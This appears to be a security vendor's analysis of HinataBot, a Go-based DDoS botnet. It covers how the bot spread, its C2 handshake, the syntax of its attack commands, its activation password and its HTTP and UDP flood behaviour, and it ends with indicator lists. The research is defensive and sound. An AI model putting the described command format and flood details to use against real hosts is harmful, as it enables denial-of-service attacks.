Uncovering HinataBot: A Deep Dive into a Go-Based Threat

• Akamai researchers on the Security Intelligence Response Team (SIRT) have discovered a new Go-based, DDoS-focused botnet. The malware appears to have been named “Hinata” by the malware author after a character from the popular anime series, Naruto. We are calling it “HinataBot.” 

• HinataBot was seen being distributed during the first three months of 2023 and is actively being updated by the authors/operators. 

• The sample was discovered in HTTP and SSH honeypots abusing old vulnerabilities and weak credentials. 

• Infection attempts observed include exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers (CVE N/A). 

• Through a combination of reverse engineering the malware and imitating the command and control (C2) server, we were able to get a deep look into how the malware works and what is unique about its resulting attack traffic.

The distribution methods observed were a mix of infection scripts and full payloads using two primary vulnerabilities: a Hadoop YARN RCE (Figure 1) and exploitation of a vulnerability in the miniigd SOAP service within Realtek SDK devices (CVE-2014-8361; Figure 2).

These attacks occurred on multiple days between January 11 and January 16, 2023. The attackers used multiple versions of infector scripts, which were updated over time. Among these scripts, the two primary ones were named 'wget.sh' (Figure 3) and 'tftp.sh' (Figure 4), reflecting the respective protocols used to fetch the appropriate payload.

The HinataBot malware was distributed as Go binaries, which were designed to run on various architectures and operating systems. This trend of malware authors developing specialized payloads for multiple platforms has become increasingly common in recent years (Figure 6), likely due to ease of cross-compilation, as well as Internet of Things (IoT) and small office/home office devices running less common CPU architectures, which has been shown to be a landscape ripe with targets.

By utilizing the distribution IP as a pivot, we were able to identify two additional IPs that were previously used for distribution. In each case, the pivot IP was used as a proxy. Further analysis revealed that, prior to developing their own Go-based malware, the attackers had attempted to distribute a generic Mirai variant, which was UPX-packed and used a less identifiable name (Figure 7).

Furthermore, we were able to identify another vulnerability that the attackers abused to distribute earlier versions of their infector scripts (Figure 9). This vulnerability, CVE-2017-17215, affects Huawei HG532 routers and allows for arbitrary remote code execution.

As previously stated, the actors behind HinataBot originally distributed Mirai binaries, a well-known malware family that started targeting IoT devices, was open sourced, and has continued to be adopted by various actors and groups (and evolved as a result). Mirai now accounts for multiple variants and botnets built by multiple authors, actors, and groups. 

While looking at historical DNS records, we can see that as recently as February 2023 the IP most recently associated with HinataBot was resolving for the domain “hihi.mirailovers.pw” (Figure 10).

We initially attempted to reach out to the most recent distribution IP, but although it was pingable, we were unable to download the sample directly from the server. This may indicate that the attackers have implemented a protective mechanism or that they remove the samples after distribution, making it more difficult to obtain them outside of a direct attack. In older campaigns from the same actors, we observed seemingly randomized name patterns (see Figure 9).

Fortunately, we were able to get our hands on a sample through our automated analysis tooling that had stored one for us at time of initial infection. We downloaded both the MIPS32 and x86-64 versions from our malware repository and began static analysis. The binaries were both  written in Go, but they were relatively friendly to work with, as they were uncorrupted, unpacked, and unstripped (Figure 11). Versions of the binaries in the days leading up to this publication have since been stripped, which will make reversing more challenging going forward.

Initially, we began analyzing a two-month-old HinataBot malware sample (Figure 12), but we later became aware of a newer sample (Figure 13) that had been released on the same day that we’d discovered the malware in our logs. We subsequently pivoted to analyzing the newer sample instead. 

The primary distinction between the two versions is that the newer sample has been streamlined and features more modular functionality. Additionally, the newer sample includes a few basic security measures that were not present in the original version. We will delve into these differences in greater detail in a later section of this post.

During our analysis, several functions immediately stood out as noteworthy. Three distinct attack functions caught our eye immediately: sym.main.startAttack, sym.main.http_flood, and sym.main.udp_flood (Figure 14). The naming of these functions suggests that the malware was intended for launching DDoS attacks.

Further analysis of the malware uncovered references to the C2 communications, which provided additional hints that HinataBot was part of a DDoS-oriented botnet-building campaign (Figure 15). 

To understand how the HinataBot malware establishes a connection to its C2, we worked backward from the string "Connection to CNC is OK!" and began searching for cross-references to the string (Figure 16). This process enabled us to map out the mechanism by which the malware communicates with its C2.

Another discovery from looking through the assembly code was the references to an API used for connections (“API_CONNECTION_ATTACK”), as well as numerous possible commands to issue back to the infected device that we were eager to try out (Figure 18).

At this point we were confident that the sample we had would connect back to the distribution/C2 server to notify the C2 that the bot is up and running and await commands, but the C2 server was now offline. 

One interesting observation is that HinataBot also opens up a listening port of its own on TCP/61420 (Figure 19). As our primary goal of this research was to better understand the attack traffic this botnet can generate, we didn’t spend much time delving into this capability as it seemed out of scope. 

We did, however, note that the timing differences of this listener are dependent on successful connectivity to the C2. In instances when a C2 is successfully contacted, this listener will die after three minutes. In cases where the C2 could not be reached, this port remains listening with no apparent time limit. Additional research will need to be conducted on this port to fully understand what capabilities it enables for the operators; for example, whether it is some kind of peer-to-peer functionality or possibly an update/control/recovery capability. We can not provide a definitive answer at the time of this writing.

As noted earlier, the newer HinataBot sample included some basic security measures that were absent in previous versions. The first such measure was a password requirement. Upon executing the sample, the first thing that one notices is an uncaught exception. The resulting error message makes this pretty clear (Figure 20). 

Upon closer examination of the error message, we discovered that the sample required an additional argument to be passed at execution. While passing literally anything into this argument will get you past the uncaught exception, HinataBot will just exit gracefully. From here, it became obvious we needed to go back to the disassembly to see what HinataBot might be looking for in this argument.

We searched through the malware sample and eventually identified the 17-character (0x005fe3d2) string "HINATA_START_NICE" (0x005fe3d8) used in a sym.runtime.memequal call (0x005fe3e0) that would fail and cause the malware to flow through to a ret instruction, killing the execution (Figure 21). We used this string as an argument when running the sample, which allowed execution to progress into more interesting code.

Interestingly, the Naruto anime character named Hinata starts out as a peaceful and gentle character before becoming a fierce fighter, something the malware authors may be alluding to when using the "HINATA_START_NICE" argument, before the malware will communicate back to its C2 and participate in launching attacks.

It is worth noting that this password requirement was not present in the older HinataBot malware samples from January 2023; therefore most of the infection scripts we encountered did not include this argument. However, upon closer review after discovering this requirement we were able to track down their newer infection scripts (Figure 22), which did pass the argument to the binaries at time of infection. This would have been handy to know beforehand.

Our analysis of the HinataBot sample revealed a large number of very long plaintext strings embedded within the binary. Go utilizes a unique approach in storing string literals by placing them in a contiguous block of memory known as a "string table" or "string intern pool." 

As a result, when running the strings command or disassemblers on a Go binary, the output may appear as a confusing jumble of characters, making it difficult to distinguish between individual strings in the table (Figure 23).

This technique differs from other programming languages, which typically store null-terminated byte strings. Without these trailing null bytes, tooling continues reading a discovered string until it encounters a null byte. This makes a simple analysis of strings a touch more challenging.  

Looking at cross-references from code segments into the string table address segments can help identify where individual strings in the larger table begin. Typically, you can also identify their length being loaded into a register before or after the string is loaded or as part of a function call that will utilize the string slice being referenced (Figure 24). It takes some getting used to, but it’s pretty straightforward once you get comfortable with the convention.

The handshake consisted of an initial connection, followed by the bot sending an “API_CONNECTION_BOT [os]/[architecture] [hostname]“ message. The bot then expects a API_CONNECTION_SIGNAL_OK message back from the C2 server, which would stage the bot to listen for incoming commands (Figure 26). With the handshake out of the way, we send the API_CONNECTION_ATTACK: signal to initiate attacks. 

We created a very simple C2 server in order to automate the maintenance of this connection and allow us to modify and send a command stored in a text file without needing to modify code, which allowed for very easy and rapid testing (Figure 27). This saved us quite a bit of time over the course of this research.

The newest version of this malware has two primary attack methods: HTTP and UDP. The older version contained these two, as well as attack methods leveraging ICMP and TCP floods. It is unclear why these methods were removed.

To get a closer look at the actual attack traffic, we used our makeshift C2 server to maintain the connection as the bot sent heartbeats to us. This way, we could focus just on the attack commands, and not have to worry about maintaining a connection to the infected device.

After extensive analysis and testing, we were finally able to map out the structure and fields needed to start launching attacks and begin capturing packets on the wire. The malware author leverages multiple Go conventions like anonymous functions, goroutines, channels, worker pools, and wait groups, making reversing a bit more tricky. Ultimately, after quite a bit of testing, we’d figured out the attack command structure (Figure 28).

The basic command structure, once finally mapped, is very straight forward. Attack commands always start with API_CONNECTION_ATTACK: followed by three required fields, the ATTACK_TYPE, the TARGET, and the attack DURATION. For the udp_flood there is a fourth attack UDP_OPTIONS field, as well; this field is also required when issuing a udp_flood attack because of how command checking occurs, but, oddly, it doesn’t need to be valid at all.

Attack type 0: http_flood

The http_flood command doesn’t appear to utilize additional options parameters like the udp_flood attack does. As it relies on the native net.http Go library, most of the configuration and options parsing for this attack comes directly from Go library itself and is controlled via the TARGET directive. 

In the attack command in Figure 29, we’re issuing an http_flood (type 0) attack directed at 127.127.127.127 on TCP/31337 that will last 10 seconds. The path, port, GET parameters, and protocol are all deduced from this target directive. If no port is provided, it will default to TCP/80.

As mentioned previously, this binary leans on Go’s own net.http library to conduct its attacks.The bot creates a worker pool of 512 workers via Goroutines, and each worker creates its own net.http.Request object. In Figure 30, we can see a bit of how this works from inside an individual worker.

First, a new Context object and a new RequestWithContext Class are created. This Context object will be populated with HTTP Headers that will be used during the attack by the RequestWithContext class. Some of these headers are static, while others are randomized. In Figure 30 you can see the Rand Seed and Intn calls; these are used to select a random User-Agent from a list of 10 static user-agents hard coded within the binary. We’ll talk about which headers to look for below as we analyze the traffic coming out of the malware during an http_flood attack.

Let’s touch on some important observations from the HTTP headers captured during simulated attack events. There are several fairly obvious values here for fingerprinting, both in static and randomized fields. Defenders should look at this sample traffic, but for fear of helping the author actually improve attack capabilities, we’re hesitant to highlight exactly why this traffic is likely easy to spot and block for defenders. Without providing too much help to the malware author, we can say that a lot of the payload is fairly static, in size, order, and value. Some fields are randomized — these fields include User-Agent (from a list of 10 static user-agents), Keep-Alive, and Cookies headers. Defenders should also look closely at the Host and Referrer headers in the sample traffic in Figure 31. It’s worth noting that if the attack command does not specify a target port in the target directive, it will default to TCP/80 or TCP/443, and the port will not be included in either header.

This attack command looks slightly different than the http_flood variant, mostly due to the UDP_OPTIONS value passed (1531337) in the final parameter. This parameter controls the targeted port that the UDP packets will be sent to. The value is actually three parts, the first part is the parameter type (1), the second is the length (5) of the value, and the third is the value itself (31337). 

It seems like this fourth parameter is required for command parsing, but the value can be discarded, and if no port value is supplied here, the binary will default to UDP/80 as the target port of the attack. Initially, there was an assumption that since this data is passed in this manner, we would find other additional configuration parameters for 1-9, but it seems that only the port parameter (1) has any effect on attack traffic exiting the bot.

The screenshot in Figure 34 shows the setup of the udp_flood socket. It utilizes Go’s net library using net.Dial to create the UDP socket. It then creates 512 workers, which share the socket, each running in a loop pushing data over the socket until the duration timer sends them a kill command via a shared channel. The UDP packets (Figure 35) that exit the bot are very large (65,549 bytes per packet in total), and are likely to arrive fragmented to victims across the internet . This size is hard coded within the binary and not under control of the attacker on a per-attack basis.

The 65,507 bytes packed into the UDP data segment are all null bytes (Figure 36).The IP ID header does increment sequentially during the attack and, although the source port is ephemeral, it remains static during the duration of the flood. This is all likely a side effect of net.Dial managing the UDP socket across the entire attacker worker pool. One other thing to note is the failing check sums on the UDP data.

IPs

• 77.73.131.247
  

• 156.236.16.237
  

• 185.112.83.254
  

Ports

• 61420
  

• 1420
  

CVEs

• CVE-2017-17215
  

• CVE-2014-8361
  

File Names

• tftp.sh
  

• wget.sh
  

• hinata-linux.amd64
  

• hinata-windows-arm5
  

• hinata-plan9-arm5
  

• hinata-openbsd-arm5
  

• hinata-netbsd-arm5
  

• hinata-linux-arm5
  

• hinata-freebsd-arm5
  

• hinata-windows-arm7
  

• hinata-windows-arm64.exe
  

• hinata-windows-arm6
  

• hinata-windows-arm
  

• hinata-windows-amd64.exe
  

• hinata-windows-386.exe
  

• hinata-solaris-amd64
  

• hinata-plan9-arm7
  

• hinata-plan9-arm6
  

• hinata-plan9-arm
  

• hinata-plan9-amd64
  

• hinata-plan9-386
  

• hinata-openbsd-mips64
  

• hinata-openbsd-arm7
  

• hinata-openbsd-arm64
  

• hinata-openbsd-arm6
  

• hinata-openbsd-arm
  

• hinata-openbsd-amd64
  

• hinata-openbsd-386
  

• hinata-netbsd-arm7
  

• hinata-netbsd-arm64
  

• hinata-netbsd-arm6
  

• hinata-netbsd-arm
  

• hinata-netbsd-amd64
  

• hinata-netbsd-386
  

• hinata-linux-s390x
  

• hinata-linux-riscv64
  

• hinata-linux-ppc64le
  

• hinata-linux-ppc64
  

• hinata-linux-mipsle
  

• hinata-linux-mips64le
  

• hinata-linux-mips64
  

• hinata-linux-mips
  

• hinata-linux-arm7
  

• hinata-linux-arm64
  

• hinata-linux-arm6
  

• hinata-linux-arm
  

• hinata-linux-amd64
  

• hinata-linux-386
  

• hinata-js-wasm
  

• hinata-illumos-amd64
  

• hinata-freebsd-arm7
  

• hinata-freebsd-arm64
  

• hinata-freebsd-arm6
  

• hinata-freebsd-arm
  

• hinata-freebsd-amd64
  

• hinata-freebsd-386
  

• hinata-dragonfly-amd64
  

• hinata-darwin-arm64
  

• hinata-darwin-amd64
  

• hinata-android-arm64
  

• hinata-aix-ppc64
  

Recent hashes

• 01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
  

• 1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
  

• 8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
  

• 4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
  

• 71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
  

• c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
  

• 92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
  

• 8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
  

• ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
  

• a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
  

• 9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
  

• 6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
  

• C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
  

• 5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
  

• 845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
  

• 995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
  

• 07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
  

• 61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
  

• 75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
  

• E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67